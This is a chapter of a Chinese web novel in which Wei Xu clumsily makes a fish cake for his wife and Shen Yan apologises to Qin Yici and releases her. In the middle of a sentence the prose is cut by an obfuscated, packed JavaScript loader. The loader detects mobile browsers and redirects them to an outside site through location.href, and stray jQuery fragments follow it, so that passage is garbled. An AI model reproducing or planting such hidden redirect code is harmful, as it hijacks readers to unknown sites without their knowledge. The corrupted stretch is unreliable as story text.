45. 上林(三)

作品:《病秧子夫君去世后

    “楚夷花糕是从荆州那边传过来的,又叫荆州鱼糕。要用到鱼白肉和猪肥瞟,还有鸡蛋。鱼要活鱼现杀,如果鱼放得久了,做出来的鱼糕就算不得正宗味美。所以要做这道菜,是要费很大力气的。”


    卫续蒙住脸,专心致志地听着对面松鹤楼大厨的讲述。


    “只不过这东西我们这边做得比较少,可能没法做到荆州那边的味道。”高大厨擦擦手上的水,把手伸进水盆里准备把那条还在活蹦乱跳的鱼拿出来。


    卫续上前拦住他的手,道:“等等等等,我来,我想自己做!”


    高大厨一哆嗦,收回了手,问:“你这孩子手怎么这么冷?生病了?”


    卫续赶忙收回手,结巴道:“是生病了,而且是冬天嘛,冷一点很正常!”


    好在高大厨也没追究,帮他把鱼抓出水盆放在案板上,然后把刀递给卫续。


    卫续一只手拿着刀,和案板上的鱼对视一眼后深吸一口气,一刀下去却被那鱼给扭开了。刀被嵌入案板中,半晌都拔不出来。


    卫续只能一边拔刀一边和桌上的鱼面面相觑,不知道为什么他好像在这条鱼眼里看到了一丝鄙夷。


    他为自己鼓了鼓劲,猛得一拔才拔刀拔出来。


    “孩子,你行不?要不还是我来?我把鱼杀了其他的交给你?”高大厨在一边抱臂看着,有些不放心。


    卫续再次举起刀,道:“我可以!”


    可这次刀还没落下去,那条鱼就从桌上蹦起来,给了重重给了卫续一巴掌。


    高大厨啧一声,“真的可以吗?”


    卫续强忍着几乎覆盖他整张脸的鱼腥味,咬牙道:“可以!”


    忙活许久,卫续终于是在高大厨的指挥下把这条鱼给敲晕杀了。剥掉鱼鳞,开膛破肚之后,卫续转头眼巴巴看着高大厨,问:“接下来呢?”


    “剁碎,要多碎有多碎。”高大厨道。


    卫续点点头,把袖子往高撸了一些转过头,一刀砍向鱼的中段。


    只是他没想到这条已经被挖掉了内脏鱼竟然还能动!


    他被吓了一跳,求助地看向高大厨:“这鱼怎么还能动?不是死了吗?”


    高大厨无奈地扶住额头,“正常正常,继续吧……”


    等卫续做好这道“楚夷花糕”时,窗外已是一片暮色了。


    “好了,就这么拿回去吧,路上小心点。”高大厨把食盒递给卫续,向他叮嘱了几句。


    卫续道了声谢后接食盒。


    临走前高大厨问:“不过,你费了这么大力气做这道菜,是要给谁的?”


    卫续握着食盒的手紧了紧,犹豫了半刻后还是选择告诉他:“给我夫人,她喜欢吃这个。”


    高大厨长长的哦一声,“这么有心?那我就住那么百年好合,早生贵子!”


    “才不要孩子……”卫续嘟囔几声后向高大厨告别。


    回府的路上他的步伐都格外的轻快,可是为了防止食盒内菜品的损坏,他只能按下心中的激动,放慢了步子往回走。


    刚刚走到府门口,卫续就看到沈琰的马车缓缓停下。


    沈琰?他怎么又来了?


    卫续躲在门口的石狮子后,看着沈琰慢条斯理地从马车上走下来,然后进了府。


    等他进门后,卫续双手发捧住食盒,快步绕去后门。


    他倒要看看这沈琰究竟要做什么。


    ……


    秦以慈今天一整天都没有见卫续,他拿了犀角香有了实体,现在又在外面跑了一天,若是被什么人给看到了怎么办?


    还有昨天……


    腿上的刺痛拉回了秦以慈的思绪,埋头为她上药的粼秋感受到手下一瞬间的颤抖慌忙抬头:“疼了吗?”


    “还好,你涂吧。”秦以慈笑笑。


    门外有人前来通报,隔着门,两人听到了阿文的声音:“夫人,沈大人过来了。”


    沈琰?


    粼秋看向秦以慈,她没想到之前在秦家发生了那样的事情沈琰竟然还会大张旗鼓的过来。


    秦以慈思索片刻后道:“快些涂吧,涂完了我们出去。”


    “是。”粼秋应了一声,加快了手下的动作。


    沈琰在静茗堂等两人,等了没多久粼秋就扶着秦以慈过来了。


    他见了立刻迎上去,关切道:“阿慈,我听说你出了事,就想过来看一看,你还好吗?”


    秦以慈笑着摇摇头,“没事的,只是腿和手臂被划到了,缓几日就好了。”


    沈琰松了口气,“那就好。”


    随后,他看向粼秋,微微一笑。


    粼秋有些奇怪地低头看了看自己,还以为自己有哪里不对。


    秦以慈道:“粼秋,你先下去吧。我和沈大人单独说说话。”


    “啊?”粼秋有些委屈,“什么事情我不能知道啊?而且夫人您的伤……”


    “我自己就可以,你这些天也累了正好借这个机会回去休息一会儿。”秦以慈摸摸她的发顶。


    粼秋轻轻瞥了沈琰一眼,小心翼翼地放开秦以慈后转身走了。


    “要出去走走吗?”秦以慈笑问。


    沈琰看了看她受伤的腿,“那你的伤呢?”


    “我说了没事。”


    沈琰原本还想再说些什么,可最后还是点头,道:“好,那走吧。正好我也没有认真看过这府中的景致。”


    两人并肩走在院中,为了照顾秦以慈的伤势沈琰的步子也格外得慢。


    “你今天就只是来关心我的伤势?”秦以慈问。


    “不止为此。”沈琰轻轻舒了口气,随后认真道:“我还是来道歉的。”


    “道歉?”秦以慈停了下来,有些疑惑。


    沈琰点点头,“对不起。”


    “你不用道歉的,你没做错什么,是我对不起你,对不起何姨。”


    “阿慈,你先听我说好吗?”沈琰这次的神态与他还未进京赶考的时候无二,这让秦以慈有些恍惚,好像又回到了年少的时光。


    “你说,我听着。”秦以慈唇边带着隐隐地笑意。


    “我之前确实有些着急也有些执拗,我一直觉得比起卫续我可以给你更好的生活。但我这次回去想了很久,也去问了我母亲,我好像慢慢有些明白了。”


    沈琰郑重道:“阿慈,你不爱我。我不知道你之前有没有爱过我,但我可以肯定的是,现在你不爱我了。”


    秦以慈神色微动。


    “因为你不爱我,所以我对你的爱就成了对你的束缚。我知道的,从小到大束缚你的东西太多了,我想成为你的依靠、你的知己、你的所有,但独独不想成为你的束缚。”


    沈琰轻轻一笑,像了然又像释怀:“阿慈,我爱你,之前是现在也是。也正是因为爱你,所以我会放开你,让你去做你真正想做的事情。”


    沈琰的声音很轻柔,像是和煦的春风一般。


    沈琰还是之前的沈琰,温和、重情,从来不会因为自己的私欲去要求他人做些什么。


    他没有办法放下对秦以慈的爱,更不想成为秦以慈的负担,所以他愿意放手,不是因为不爱,而是因为太


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815898|154572||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    爱。


    秦以慈一时不知道该说些什么,半晌才颤抖着说出一句:“谢谢。”


    “不客气。”沈琰说完了这些话,好像是心中高高悬着的一颗巨石落地一般放松了不少。


    他继续顺着廊檐往前走,秦以慈跟在他身边。


    “那现在你能告诉我,当初为什么要退婚了吧?”沈琰问。


    这件事压在他心里很久了,他也问过何争鸿,可是却没有得到答案,这件事何争鸿也不知道,那就只有秦以慈自己知道了。


    秦以慈没有回答,而是抬手指了指不远处的书房,“我们进去看看吧。”


    沈琰点头,“好。”


    进了书房,秦以慈先请沈琰坐在棋盘前,自己则转身从书架上取下一本书。


    这书纸张已经有些泛黄,按理说应该很旧了但被主人保护得很好,若是不仔细看怕是也发现不了这书上的瑕疵。


    “茶经?”沈琰小心翼翼拿过书,随意翻了翻,看到一张被夹在书页中的一张纸。


    纸上是秦以慈的笔迹,陈旧的墨迹写着:


    ‘茶之为用,味至寒,为饮,最宜精行简德之人’


    茶之至味,人之至简


    “这是,之前在书肆里的那本?”沈琰惊喜道。


    秦以慈点头,“是,你还记得我们是因为什么认识的吗?”


    沈琰合上书,道:“当然记得,我永远都不会忘的。”


    秦以慈微微一笑。


    年少时的沈琰酷爱读书,而且他读书与寻常读书人不同,无论是正统的四书五经还是话本工农,他都很感兴趣,可谓是荤素不忌。


    所以他每次外出一定要做的就是在书肆逛一圈儿,去找些新的书本小册之类。


    江州城的书肆都是大同小异,最多也只是些店铺大小的差距,可有一家不同。


    这家书肆里的每一本书上都贴着一张裁剪方正的纸,纸上有用小楷书写的诗句和对书本内容的感悟之类,时不时还会贴上小画。


    无论是严肃的诗文还是消磨时间的话本,每一本书上都有这样一张纸。


    对于读书人来说,读书是一种享受,与趣味相投的人分享又是一种享受。


    沈琰对这书写之人十分感兴趣,那一段时间他几乎每日都要来这家书肆,买了书然后小心翼翼地取下那张纸将它放在一个小盒子里放好。


    终于有一日,他下定决心想和那位素未谋面的知己见一面。于是,他再次前往书肆去询问关于这纸条的事情,那小厮告诉他,这都是自家小姐写好粘上去的。


    知道秦以慈的名字后,沈琰回到家向好友打听秦以慈的消息,知道得越多,他就越想要见一见她。


    那种感觉像是一次探幽,他一直在走,一直在探寻,现在就差最后一层屏障。


    在书肆守了好几日后,他终于如愿看到了秦以慈。


    那日的她穿着最朴素的衣裳,为了能更方便的干活用襻膊绑起袖子,怀里还抱着一摞书。


    她乌黑的长发被梳在一侧,梳成一个辫子。


    她一边和身边的小厮交谈,一边把怀里的书一本一本放在书架上。


    自始至终,她一直都是笑着的。


    放完了书,她瞥到了站在原地痴痴看着的沈琰。


    她走上前去,问:“这位公子是要买书吗?”她上前看了看沈琰手里拿着的书,惊喜道,“您也对账目感兴趣?”


    沈琰回过神,第一次面对别人的搭话感觉到局促。


    他清了清嗓子,努力让自己平静下来,“对,感兴趣。”